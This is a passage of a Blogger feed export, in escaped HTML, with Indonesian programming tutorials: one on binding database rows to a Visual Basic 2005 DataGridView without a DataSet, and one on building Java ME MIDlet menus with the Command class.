none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;.Rows(i).Cells(&amp;#8221;colID&amp;#8221;).Value = reader.GetValue(0).ToString&lt;/pre&gt;&lt;br /&gt;        &lt;/div&gt;&lt;br /&gt;      &lt;/div&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;    &lt;p align="justify"&gt;yak, kode diataslah yang berfungsi mem-fetch data langsung dari database ke column-column pada DataGridView. Pada parameter method GetValue() kenapa ada angka? itu adalah urutan column atau field pada table dimulai dari field paling kiri. Urutan ini diawali dengan nol.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;    &lt;p align="justify"&gt;Kemudian ada lagi :&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;    &lt;div align="justify"&gt;&lt;br /&gt;      &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;        &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;.Rows(i).Cells(&amp;#8221;colSex&amp;#8221;).Value = &lt;span style="color: #0000ff"&gt;Me&lt;/span&gt;.detectSexToView(reader.GetValue(4).ToString)&lt;/pre&gt;&lt;br /&gt;        &lt;/div&gt;&lt;br /&gt;      &lt;/div&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;    &lt;p align="justify"&gt;nah kode diatas berfungsi mengubah angka 1 dan 0 pada field sex untuk dijadikan ComboBox dengan value &amp;#8220;Pria&amp;#8221; dan &amp;#8220;Wanita&amp;#8221;. Lebih Sederhana dan fleksibel bukan, dibandingkan dengan harus melakukan binding &amp;#8220;standard&amp;#8221; menggunakan DataSet.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;    &lt;p align="justify"&gt;Sekian dulu tutorial kali ini, simpan Form ini untuk kita gunakan pada tutorial berikutnya, yaitu Menghapus Row pada DataGridView dengan Seleksi CheckBox. C U&amp;#8230; &lt;/p&gt;&lt;br /&gt;  &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;source : &lt;a href="http://renxe.wordpress.com/2008/02/28/visual-basic-2005-binding-data-tanpa-dataset-maupun-dataadapter/" target="_blank"&gt;renxe.wordpress.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;  &lt;div align="justify"&gt;&lt;br /&gt;    &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:6ef2b081-24f1-49d2-b559-65fc585b9634" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/visual%20basic" rel="tag"&gt;visual basic&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/programming" rel="tag"&gt;programming&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-1521501599884687876?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/1521501599884687876/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=1521501599884687876&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1521501599884687876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1521501599884687876'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/03/visual-basic-2005-binding-data-tanpa.html' title='[Visual Basic 2005] - Binding Data Tanpa DataSet maupun DataAdapter'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-6291342587737539863</id><published>2008-03-17T10:07:00.001+07:00</published><updated>2008-03-17T10:07:36.905+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Tutorial GUI untuk Aplikasi Mobile (MIDlet): Command</title><content type='html'>&lt;p align="justify"&gt;&lt;strong&gt;#1: Create New Project&lt;/strong&gt;    &lt;br /&gt;Proses pembuatan project baru dilakukan dengan menjalankan program KToolbar (versi Wireless Toolkit WTK2) dari Sony Ericsson SDK 2.2.3 for the Java(TM) ME Platform dari Start Menu. Tampilannya adalah sebagai berikut:&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;&lt;img border="0" src="http://inf.uajy.ac.id/%7Esigit/images/create-new-project-ktoolbar.png" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Proses selanjutnya adalah mengisikan &lt;strong&gt;Project Name&lt;/strong&gt; dan &lt;strong&gt;MIDlet Class Name&lt;/strong&gt;. Untuk tutorial ini, ProjectName-nya adalah &lt;strong&gt;TutotialMobileGUI-Command&lt;/strong&gt; dan MIDlet Class Name-nya &lt;strong&gt;MobileGUI_Command&lt;/strong&gt; (maaf, yang digambar salah :p). Perlu Anda ingat, MIDlet Class Name yang kita isikan nantinya harus sesuai dengan class yang kita buat waktu menuliskan kode program. Setelah kita meng-klik tombol Create Project, maka akan terbentuk direktori TutorialMobileGUI-Menu di direktori apps dari Sony Ericsson SDK 2.2.3 for the Java(TM) ME Platform dengan sub direktori &lt;em&gt;bin, classes, lib, res, dan src&lt;/em&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;#2: Write the Code&lt;/strong&gt;    &lt;br /&gt;Proses berikutnya adalah menuliskan kode program dengan menggunakan teks editor. Saya tidak akan membahas baris demi baris kode program yang akan kita buat melainkan bagian intinya saja. Untuk membuat menu, selain menggunakan class List kita juga dapat menggunakan class &lt;strong&gt;Command&lt;/strong&gt; yang ada di package &lt;strong&gt;javax.microedition.lcdui&lt;/strong&gt; dengan parameter commandType &lt;strong&gt;ITEM &lt;/strong&gt;atau &lt;strong&gt;SCREEN&lt;/strong&gt;. Menu utama yang akan kita buat pada tutorial ini terdiri dari &amp;#8220;Write Message&amp;#8221;, &amp;#8220;Inbox&amp;#8221;, &amp;#8220;Outbox&amp;#8221;, &amp;#8220;Drafts&amp;#8221;, dan &amp;#8220;Sent Messages&amp;#8221;. Langkah pertama adalah membuat command yang akan digunakan dengan kode program sebagai berikut:&lt;/p&gt;  &lt;p align="justify"&gt;Tutorial ini akan memberikan panduan mengenai bagaimana membuat Graphical User Interface untuk aplikasi mobile (MIDlet) dengan menggunakan teknologi Java. Pada tutorial kali ini, topik yang akan dibahas adalah bagaimana membuat menu untuk aplikasi mobile (MIDlet) menggunakan Command Class. Tools yang digunakan dalam tutorial ini adalah teks editor (Notepad, TextPad, dll) untuk menuliskan kode program dan &lt;strong&gt;Sony Ericsson SDK 2.2.3 for the Java(TM) ME Platform&lt;/strong&gt; untuk proses built dan test. Anda juga bisa menggunakan &lt;strong&gt;Sun JAVA(TM) Wireless Toolkit 2.5&lt;/strong&gt; untuk proses build dan test aplikasi mobile yang akan dikembangkan.&lt;/p&gt;  &lt;div align="justify"&gt;   &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;     &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;       &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; Command writeCommand = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Command(&amp;#8221;Write Message&amp;#8221;,Command.SCREEN,2);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; Command inboxCommand = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Command(&amp;#8221;Inbox&amp;#8221;,Command.SCREEN,2);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; Command outboxCommand = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Command(&amp;#8221;Outbox&amp;#8221;,Command.SCREEN,2);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; Command draftsCommand = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Command(&amp;#8221;Drafts&amp;#8221;,Command.SCREEN,2);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; Command sentCommand = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Command(&amp;#8221;Sent Messages&amp;#8221;,Command.SCREEN,2);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; Command exitCommand = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Command(&amp;#8221;Exit&amp;#8221;, Command.SCREEN,1);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;/* Pembuatan command dengan commandType ITEM&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;private Command writeCommand = new Command(&amp;#8221;Write Message&amp;#8221;,Command.ITEM,2);&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;private Command inboxCommand = new Command(&amp;#8221;Inbox&amp;#8221;,Command.ITEM,2);&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;private Command outboxCommand = new Command(&amp;#8221;Outbox&amp;#8221;,Command.ITEM,2);&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;private Command draftsCommand = new Command(&amp;#8221;Drafts&amp;#8221;,Command.ITEM,2);&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;private Command sentCommand = new Command(&amp;#8221;Sent Messages&amp;#8221;,Command.ITEM,2);&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;private Command exitCommand = new Command(&amp;#8221;Exit&amp;#8221;, Command.ITEM, 1);&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Pembuatan command dapat dilakukan dengan memanggil konstruktor class Command dengan statement &lt;strong&gt;Command(String label, int commandType, int priority)&lt;/strong&gt;, dimana label menunjukkan label dari command yang akan ditampilkan pada display, commandType menunjukkan tipe dari command yang akan dibuat (&lt;strong&gt;ITEM, SCREEN, OK, CANCEL, STOP, EXIT, BACK, &lt;/strong&gt;dan&lt;strong&gt; HELP&lt;/strong&gt;), dan priority menunjukkan level prioritas dari command yang akan dipetakan ke keypad dari setiap device oleh AMS (Application Management Software). Proses mapping command ke keypad untuk masing-masing device dapat berubah tergantung dari tipe command yang ditentukan (lihat hasil testing pada gambar di bawah). Setelah command dibuat, maka langkah selanjutnya adalah menambahkan command-command tersebut ke form dengan kode sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;    &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;menuList.addCommand(writeCommand);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;menuList.addCommand(inboxCommand);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;menuList.addCommand(outboxCommand);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;menuList.addCommand(draftsCommand);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;menuList.addCommand(sentCommand);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;menuList.addCommand(exitCommand);&lt;/pre&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Proses mendeteksi command mana yang di pilih oleh user dan proses apa yang akan dikerjakan setelah user mengklik menu tersebut dapat dilakukan dengan kode program sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;    &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;/*&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;String label = c.getLabel();&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;if (label.equals(&amp;#8221;Write Message&amp;#8221;))&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;   showWriteForm();&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;else if (label.equals(&amp;#8221;Inbox&amp;#8221;))&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;   showInboxForm();&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;else if (label.equals(&amp;#8221;Outbox&amp;#8221;))&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;   showOutboxForm();&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: 